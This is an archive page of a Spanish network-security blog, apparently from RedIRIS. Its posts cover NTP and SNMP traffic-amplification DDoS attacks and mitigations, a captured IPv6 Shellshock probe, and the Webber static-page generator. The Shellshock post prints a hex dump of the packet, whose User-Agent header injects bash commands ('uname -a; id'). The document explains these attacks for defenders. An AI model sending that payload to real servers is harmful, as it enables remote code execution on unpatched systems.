Archivo

Archivo para la categoría ‘Sin categoría’

NTP : no solo para la hora.

viernes, 29 de enero de 2016 Sin comentarios

El protocolo NTP es utilizado para la sincronización de la hora en los equipos, necesario no solo para tener los logs bien sincronizados, sino cualquier otra aplicación que requiere tener la hora “exacta”  (controles de acceso, tarificación, etc), de hecho casi todos los sistemas operativos modernos emplean este protocolo para la sincronización horaria.

Por desgracia el protocolo NTP emplea UDP a la hora de realizar las consultas, lo que hace que este siendo muy utilizado para los ataques de denegación de servicio, como ya se comento en  una entrada de este blog,  , estos ataques se basan sobre todo en la posibilidad de falsificar el tráfico IP (spoofing) en algunas redes para así lanzar ataques contra servidores, que muchas veces no tienen NTP.

Por ejemplo la siguiente gráfica muestra dos ataques empleando NTP contra una organización conectada a RedIRIS , el verde aparece el trafico HTTP y HTTPS , mientras que en azul es el trafico NTP.

ntp-ataque

Se puede ver que cuando se produce el trafico NTP se reduce el trafico de ambos protocolos debido a que la saturación de la conexión hace que no se pueda recibir el trafico .

Asi mismo se puede utilizar NTP y otros protocolos  para descubrir equipos con IPv6 aun cuando empleen direccionamiento aleatorio, si los atacantes son capaces de controlar alguno de los servidores intermedios que se emplean públicamente para esta sincronización, aprovechando que en muchas organizaciones no se tiene establecido una jerarquía de sincronización NTP sino que muchos equipos se sincronizan directamente con los equipos de NTP configurados por defecto en los diversos sistemas operativos.

Para mitigar un poco estos ataques desde RedIRIS se pueden aplicar medidas que limiten el trafico NTP en las conexiones de las instituciones afiliadas pero se requiere que  haya definido una jerarquía de servidores a nivel interno de la organización y con RedIRIS de forma el número de equipos que realizan consultas NTP al exterior sea reducido.

Dentro de poco se ira públicando una serie de recomendaciones para la configuración de NTP en las instituciones afiliadas a RedIRIS.

Categories: Sin categoría Tags: , ,

Atacantes en IPv6

martes, 19 de mayo de 2015 Sin comentarios

Revisando los logs del cortafuegos esta mañana aparece el siguiente paquete que ha sido marcado como un Ataque de inyección de código en bash “Bash Remote Code Execution Vulnerability”, el famoso ShellSock CVE-2014-6271 .

El paquete ethernet capturado es el siguiente:

19:37:20.000000 AA:BB:CC:DD:EE:FF > ZZ:XX:YY:SS:TT:RR, ethertype 802.1Q 
(0x8100), length 305: vlan XX, p 0, ethertype IPv6, (hlim 54, next-header: 
TCP (6), length: 247) 2001:41d0:2:c59e::1.53537 > 2001:720:418:cafd::20.80:
 P, cksum 0xca79 (correct), 1838219336:1838219551(215) ack 3534929269 win
 113 <nop,nop,timestamp 1314898790 2658160117>

	0x0000:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0010:  0000 0000 0000 0000 0636 2001 41d0 0002  ................
	0x0020:  c59e 0000 0000 0000 0001 2001 0720 0418  ................
	0x0030:  cafd 0000 0000 0000 0020 d121 0050 6d91  ................
	0x0040:  0048 d2b2 bd75 8018 0071 ca79 0000 0101  ...............
	0x0050:  080a 4e5f c366 9e70 4df5 4745 5420 2f6c  ..N_.f.pM.GET./l
	0x0060:  6973 742f 7075 626c 2f68 6572 7261 6d69  ist/publ/herrami
	0x0070:  656e 7461 2e70 6466 2048 5454 502f 312e  enta.pdf.HTTP/1.
	0x0080:  310d 0a41 6363 6570 742d 456e 636f 6469  1..Accept-Encodi
	0x0090:  6e67 3a20 6964 656e 7469 7479 0d0a 486f  ng:.identity..Ho
	0x00a0:  7374 3a20 7777 772e 7265 6469 7269 732e  st:.www.rediris.
	0x00b0:  6573 0d0a 436f 6e6e 6563 7469 6f6e 3a20  es..Connection:.
	0x00c0:  636c 6f73 650d 0a55 7365 722d 4167 656e  close..User-Agen
	0x00d0:  743a 2028 2920 7b20 666f 6f3b 7d3b 6563  t:.().{.foo;};ec
	0x00e0:  686f 3b20 2f62 696e 2f62 6173 6820 2d63  ho;./bin/bash.-c
	0x00f0:  2022 6578 7072 2032 3939 3636 3332 3939  ."expr.299663299
	0x0100:  3636 3520 2f20 333b 2065 6368 6f20 3333  665./.3;.echo.33
	0x0110:  333a 3b20 756e 616d 6520 2d61 3b20 6563  3:;.uname.-a;.ec
	0x0120:  686f 2033 3333 3a3b 2069 643b 220d 0a0d  ho.333:;.id;"...
	0x0130:  0a                                       .

Hasta aquí todo normal, hasta que viendo la dirección IP origen del ataque aparece como tipo de protocolo IPv6 y dirección 2001:41d0:2:c59e::1 , parece que IPv6 empieza a verse en algunos ataques además del Spam.

 

Webber: Páginas estáticas en el siglo XXI

viernes, 8 de mayo de 2015 Sin comentarios

En el articulo  de la publicación de Web Security de la ACM Paul Vixie hace una defensa del uso de páginas estáticas a la hora de proteger los servidores WWW ante las distintas amenazas existentes tanto ataques de denegación de servicio como intrusiones , modificación de páginas WWW , etc lo que nos lleva a comentar el funcionamiento de Webber.

Desde hace mucho tiempo  (aproximadamente 1996 ) en RedIRIS se emplea un sistema para la generación de los contenidos en las páginas WWW llamado webber,  (sin referencia ninguna al corredor de formula ;-), que aunque odiado por muchos sigue todavía se mantiene, webber hace las funciones de gestor de contenidos (CMS como lo suelen llamar en ingles) generando las páginas HTML de forma uniforme en base a una plantilla y de forma estática.

Webber ha pasado por varios cambios inicialmente era un simple programa en Perl que en base a una plantilla fija y un texto HTML sin cabeceras (el contenido de la página), generaba una página HTML con una apariencia definida, cabecera, pie de páginas, etc. la tipica página de “Hola Mundo” en webber era más o menos:

#title= Hola mundo
#athor= anonimo
#wbbIn= 
Hola mundo<p>
¿Como estas ?

Donde los valores con corchete “#” indicaban el nombre de una variable  (que podía tener varias lineas) que después se rellenaba en la plantilla. Había varias variables definidas, title para el titulo, wbbIn para el contenido la página,  description para la descripción, keyword para las palabras clave , etc.   Además y para facilitar se tenían ficheros de plantilla para incluir valores que iban a ser comunes dentro de un subdirectorio , como “author” y se tenía “herencia”, ya que las plantillas se procesaban por todo el arbor de directorios desde la raíz del código.

En una primera evolución se paso a separar las funciones en diversos procesadores, de forma que se pudieran tener varias plantillas (el nombre de la plantilla a utilizar era al final otra variable “webber” ), se pudieran incluir tablas de forma rápida, colocar menus,  separar el código fuente de las páginas finales, etc. Al final muchas funciones que la mayoría de las veces utilizamos pocas veces.

Siguiendo con la evolución y como al final la utilización del “vi” en sus diversas versiones era cada vez más compleja (entre otras cosas por la aparición de las distintas codificaciones, ISO-8859, UTF-8, etc) y porque las páginas WWW no solas las editaban usuarios “expertos” al final se creo una entorno de edición “web” para al menos poder editar las páginas WWW desde el servidor y después utilizar webber para generar el contenido en base a los ficheros estáticos.

Así el webber ha ido evolucionando dentro de RedIRIS tiene hasta página web en el servidor, pero su uso fuera de RedIRIS ha sido muy escaso , seguramente por la complejidad de montar unas páginas “desde cero” y el abuso de la terminología exotérica que tiene la documentación y es que como siempre lo documentar y actualizar las cosas nos da algo de pereza.

Aunque Webber ha sido código libre desde el principio, la gestión del código siempre ha sido algo complicada y por eso   a finales del 2014 decidimos migrar el repositorio de código de Webber a github de forma que el código de webber este disponible en esta herramienta.

Coincidiendo con la publicación de esta entrada en el GitHub esta la versión 3.0 preliminar del webber, que permite una mayor flexibilidad a la hora de definir la entrada y salida y elimina algunos procesadores antiguos no utilizados, al ser una versión preliminar algunas cosas no están pulidas del todo , aunque es bastante funcional.

 

Un pequeño ejemplo de funcionamiento:

Descargar el fichero de github en un directorio y descomprimirlo ,

Editar el fichero webber.wbb  y cambiar la entrada “wbbRoot”  , por ejemplo,

#wbbRoot=/home/usuario/webber-master

Grabar el fichero.

El fichero de configuración será ahora mismo mas o menos.

##where the webber standard root start
 #wbbRoot=/XXXX/XXXX/XXXX/webber-master/
 ## Where "standard" processors are located
 #wbbProcLib= $var(wbbRoot)/proc
 ## Version
 ## Template dir name
 #wbbTemplateName= wbbdir.cfg
 #wbbFileNameRegExp = ^(.+)\.wbb$
 #wbbFileLangRegExp = ^.+(es|en|ca|gl)\.wbb$
 # Default extension
 #wbbExtension = .html
 #wbbDebugFile= $var(wbbRoot)debug.txt
 ##wbbDebugFile = ./debug.txt
 #wbbDebug = 10
 #wbbRun=File::SetTarget File::ReadVars wbbPre wbbProc wbbPost File::WriteVar
 #File.WriteVar= wbbOut
 #wbbPre=
 #wbbProc= Webbo::webbo
 #wbbPost=
 #webbo.src=file:$var(wbbRoot)src/test.webbo
 #webbo.dst=wbbOut
 #wbbSourceRoot= $var(wbbRoot)src
 #wbbTargetRoot= $var(wbbRoot)html
 #wbbMakedir=1

Las variables tienen el siguiente significado:

  1. wbbRoot : Base donde se encuentra el código de webber
  2. wbbProc: Donde se encuentran los procesadores webber
  3. wbbDebugFile : Path al fichero de debug
  4. wbbDebug : Nivel de depuración
  5. wbbTemplateName Fichero de “plantilla” utilizado para definir variables que afecten a todos los ficheros que haya en un directorio (y subdirectorios de el)
    wbbFileNameRegExp = Expresión regular para idenfitifcar los ficheros de fuentes webber
    wbbFileLangRegExp = Expresion regular para idenficar los ficheros de lenguaje
    wbbExtension = Extensión que tendran los ficheros destino
  6. wbbSourceRoot= Base donde se encuentran los fuentes webber
    wbbTargetRoot= Base a partir de donde se escriben los ficheros webber
    wbbMakedir Fuerza la creacion de directorios si no existen
  7. wbbRun: Listado de procesadores a ejecutar ya tiene  definido una serie de procesadores para tener el funcionamiento de webber 1.X por defecto,  los procesadores que se ejecutan son:
    • File::SetTarget : Define en base una serie de variables cual es el fichero que se va a escribir
    • File::ReadVars: Lee un fichero en formato webber y define las variables de forma apropiada
    • wbbPre , wbbProc , wbbPost : listas de procesadores a ejecutar, con compatibilidad con webber 1.X
    • File::WriteVar : Escribe en el fichero definido en la variable wbbTargetFile el contenido de una variable webber
    • De todos las tres colas de procesadores solo wbbProc contiene un procesador y es el Webbo
      • wbbProc = Webbo , Webbo es un procesador que reemplaza nombres de variables webber por su valor en un fichero / variable (apuntado en #webbo.src ) dejando el contenido final en webbo.dst , es utilizado a la hora tener una plantilla (ver el fichero src/(test.webbo) que después es rellenada, ahí se definen dos variables wbbIn y title
      • webbo.dst= wbbOut
      • webbo.src= file:$var(wbbRoot)src/test.webbo

Una vez modificada la variable wbbRoot para que apunte se puede hacer:

 

perl ./webber --config ./webber.wbb --help para ver el fichero de ayuda

con

perl ./webber --config ./webber.wbb --list-proc se puede obtener un listado de los procesadores instalados

y finalmente con:

perl ./webber --config ./webber.wbb src/* se procesan los dos ficheros ".wbb" que hay en el directorio src/ y se generan en el directorio html/ los ficheros "destinos.

En próximas entradas seguiremos detallando el uso de webber para la creación de páginas más complejas.

 

Categories: Sin categoría, sistemas Tags:

Ataques de amplificación de tráfico: NTP

viernes, 21 de febrero de 2014 Sin comentarios

 

 

Durante el año 2013 se ha generalizado el uso de protocolos distintos al tradicional DNS a la hora de realizar ataques de denegación de tráfico, el ultimo protocolo que se esta usando es Network Time Protocol (NTP), empleado para que los equipos estén sincronizados a nivel horario.

Ya se comentó anteriormente est tipo de ataques, que se basan en dos situaciones bastante frecuentes,  una normal y otra debida sobre todo a malas configuraciones.

Es habitual y normal que haya muchas peticiones de tráfico que no sean balanceadas (se reciba más información que la que se solicita),esto ocurre en la mayoria de las situaciones (ver un video por internet, acceder a una página WWW, etc), por lo general somos “consumidores” de información y recibimos más información de internet que la que enviamos hacia fuera.

Para la mayoría de los protocolos esta situación no genera problemas de amplificación de tráfico ya que emplean un protocolo orientado a conexión como es TCP, en el cual se establece una negociación entre los equipos antes de enviar información, pero hay otros protocolos como ICMP o UDP que no son orientados a conexión .

Aquí interviene después la segunda situación que es la posibilidad de que un equipo genere tráfico con una dirección IP que no le corresponde (falsificación de direcciones, Spoofing, etc), y que este tráfico llegue hasta Internet.

Como comentábamos el documento de buenas prácticas BCP 38 , http://tools.ietf.org/html/bcp38  comentaba hace casí 15 años la necesidad de que las organizaciones filtraran el tráfico en origen , de forma que este  trafico no deseado no llegue a internet. Este  filtrado fue evolucionando de las tradicionales listas de acceso en los routers a técnicas como el “Reverse Path Forwarding”, (RPF),  implementado en los routers de la mayoria de los fabricantes, como Cisco,  o Juniper  , así en la mayoría de los sistemas operativos   (Linux, *BSD*,etC) , cortafuegos (Fortinet, Paloalto, …).

Por lo general las instituciones conectadas a RedIRIS ya tienen aplicados estos filtros y además en el backbone se realizan comprobaciones adicionales pero se puede colaborar con proyectos como spoofer  para comprobar si una red es susceptible de ser utilizada en ataques DDOS.

Estos ataques de denegación de servicio seguirán existiendo mientras haya redes que permitan la falsificación de tráfico ,aunque en el caso de NTP es algo más complicado y peligroso por diversos factores :

  • NTP es usado por muchos sistemas a la hora de mantener una sincronización horaria, necesaria para diversos protocolos  de enrutamiento , verificación de tiempos de espera y de vida de una conexión, etc. Por eso es crítico en muchos entornos.
  • Muchos servidores de NTP, sobre todo los empleados en enrutadores y commutadores no tienen la posibilidad de filtrar las peticiones de consulta “privilegiadas” en la versión del sistema operativo que están corriendo, por lo que hay que aplicar filtros para impedir su uso desde el exterior.
  • En muchas organizaciones como hardware para correr el servicio de NTP se utilizan enrutadores que disponen de varias direcciones IP (por los distintos interfaces) por lo que es necesario aplicar los filtros en todos los interfaces del equipo .

En el caso de NTP el problema es debido a que los servidores que permiten los paquetes en modo 7  (administrativo) desde otros hosts pueden recibir consultas para obtener una lista de los ultimos 600 servidores/clientes que han obtenido tiempo del servidor en cuestión. Esto puede realizarse mediante el comando monlist de la ultilidad ntpdc.

De esta forma un paquete comando de unos pocos bytes obtiene una respuesta de varios miles de bytes que pueden llegar a saturar el servidor y la red.

Existen 3 soluciones recomendadas a nivel de equipo que es servidor de NTP:

  1.   Actualizar el servicio ntp a versiones posteriores a la 4.2.7p26.
  2.   Deshabilitar el monitor. En el fichero de configuración añadir una linea “disable monitor”
  3.  Añadir “noquery” en la lista de restricciones por defecto y despues permitirla a las maquinas que interese             que reciban esa informacion.
      restrict -4 default noquery
      restrict -6 default noquery

Estas dos lineas anteriores evitaran que se ignoren los paquetes en modo 6 y 7 tanto para IPv4 como IPv6.

Referencias:

Por otro lado es aconsejable que aplique a nivel de red los filtros apropiados para evitar que se acceda desde el exterior de la organización a los servidores NTP que no sean públicos para evitar su uso en los ataques de denegación de servicio

 

Categories: Sin categoría Tags: , ,

Rendimiento de equipamiento de seguridad en IPv6

martes, 6 de agosto de 2013 Sin comentarios

 

 

En  una reunión paralela al IETF 87 en Berlin , de un grupo de “hackers” interesados en la seguridad informática hubo una comparativa entre el rendimiento de algunos dispositivos de seguridad en IPv4 e IPv6, bastante completa y con varios sistemas de pruebas que se están haciendo ya.

En http://www.insinuator.net/2013/08/ipv6-hackers-meeting-ietf-87-in-berlin-slides/ están las presentaciones que se hicieron con varias pruebas.

Hay que indicar que se trata por lo general de equipamiento para redes pequeñas y no de equipamiento de backbone pero es interesante a la hora de saber como se comportan estos fabricantes a nivel de IPv6.

 

 

Categories: Sin categoría Tags: ,

Ataques DDOS por amplificación de tráfico

viernes, 2 de agosto de 2013 Sin comentarios

 

En los últimos años los ataques de  Denegación de Servicio Distribuido (DDOS) son cada vez más frecuentes y se basan en la falsificación de tráfico IP y la amplificación de este (Usar protocolos cuyos paquetes de respuesta sean de mayor tamaño que la petición enviada).

La falsificación de tráfico es debido sobre todo a redes mal configuradas que permiten que se genere tráfico que no pertenece a su rango de direcciones , a pesar de que el Documento de Buenas Prácticas (BCP 38) , indica que no se debe permitir, sin embargo todavía muchas redes lo permiten y esto permite que los equipos infectados de una botnet puedan falsificar el tráfico indicando que el origen es otro equipo (la víctima) el que genera el tráfico .

De esta forma el tráfico le llega a equipos en Internet que al responder le responden a la dirección de la víctima que se satura por el número de paquetes y volumen que les llega.

La amplificación de tráfico lo que permite es que los atacantes consigan que por un 1k de trafico los equipos al responder le reenvíen una cantidad mayor de datos a la víctima , en algunos protocolos se puede conseguir una amplificación de hasta 1:1000 o superior.

Cuando se falsifica el tráfico el atacante no espera respuesta , por lo que se deben emplear paquetes de datos UDP, que no requieren un establecimiento de conexión , esto descarta inicialmente ya bastantes protocolos comunes, como HTTP, correo, etc que van por TCP, sin embargo hay varios protocolos UDP que se usan bastante:

  • DNS, fue el primero en ser usado,  más información en esta entrada del blog.
  • SNMP (puerto 161) se emplea sobre todo para la monitorización de red, se esta usando bastante ya que hay muchos equipos que llevan una configuración “vulnerable” por defecto,  en http://www.bitag.org/report-snmp-ddos-attacks.php hay un documento que explica bastante bien los problemas.
  • Chargen (puerto 19) , es un protocolo antiguo que se usaba para comprobar que un equipo respondía en Internet,  no tiene mucho sentido desde hace mucho tiempo, pero muchos equipos lo tienen configurado , en  el diario del ISC de SANS,  comentan que se esta también usando para la generación de ataques DDOS , ya que permite una generación algo más reducida (un máximo de 512 caracteres )

SNMP es el caso más problematico , junto al DNS  ya que es un protocolo que se puede emplear para monitorizar y configurar el equipamiento, además:

  1.  Es posible amplificar el tráfico , es decir que enviando un paquete de tamaño reducido conseguir que se generan una respuesta mucho mayor (se habla muchas veces de 1:100  para algunas consultas, pero al parecer es posible llegar a una amplificación cercana a 1:10000 , (por un byte recibido el equipo genera 10000
  2. ) La seguridad del protocolo en su versión 1.0 se basa en una clave (community” ) que muchas veces es “publica” para consultas .
  3.  En muchos dispositivos de red el demonio SNMP escucha en todos los interfaces IP que tiene el equipo, lo que puede dificultar su filtro.
  4. Al ser un protocolo de monitorizacion en muchos dispositivos esta habilitado por defecto , no solamente en dispositivos de red sino también en equipos Linux, SunOS, ADSL, etc.
  5. Muchos equipos llevan configurado el servicio con los valores por defecto, que son públicos.

 

¿Qué se puede  hacer en vuestras instituciones ?.

  1. Por defecto filtrar las consultas SNMP desde el exterior, de forma que salvo las excepciones que necesitéis por monitorización externa este filtrado todas las consultas SNMP desde el exterior.
  2. Permitir solamente el acceso SNMP a las redes externas que os hagan monitorización y solamente como único recurso
  3.  Emplear en lo posible una VPN o un túnel GRE a la hora de las monitorización  externas, de forma que no haga falta hacer lo contemplado en el punto 2.
  4.  Cambiar las claves (comunidades ) de acceso de forma que no sean los nombres por defecto y realizar estos cambios de forma periódica.
  5. Limitar en los equipos no perimetrales lo indicado en los puntos 1 y 2 y 4 , de forma que solamente los equipos que tengan que hacer consultas SNMP pueden hacerlas y no cualquier equipo dentro de vuestra institución.
  6.  Monitorizar los equipos para ver cuando se producen este tipo de conexiones de forma insistente y cuando estas conexiones son ataques de fuerza bruta  (recordar que por SNMP no solo se puede monitorizar sino también cambiar configuraciones en los equipos).

 

 

Categories: Sin categoría Tags: , ,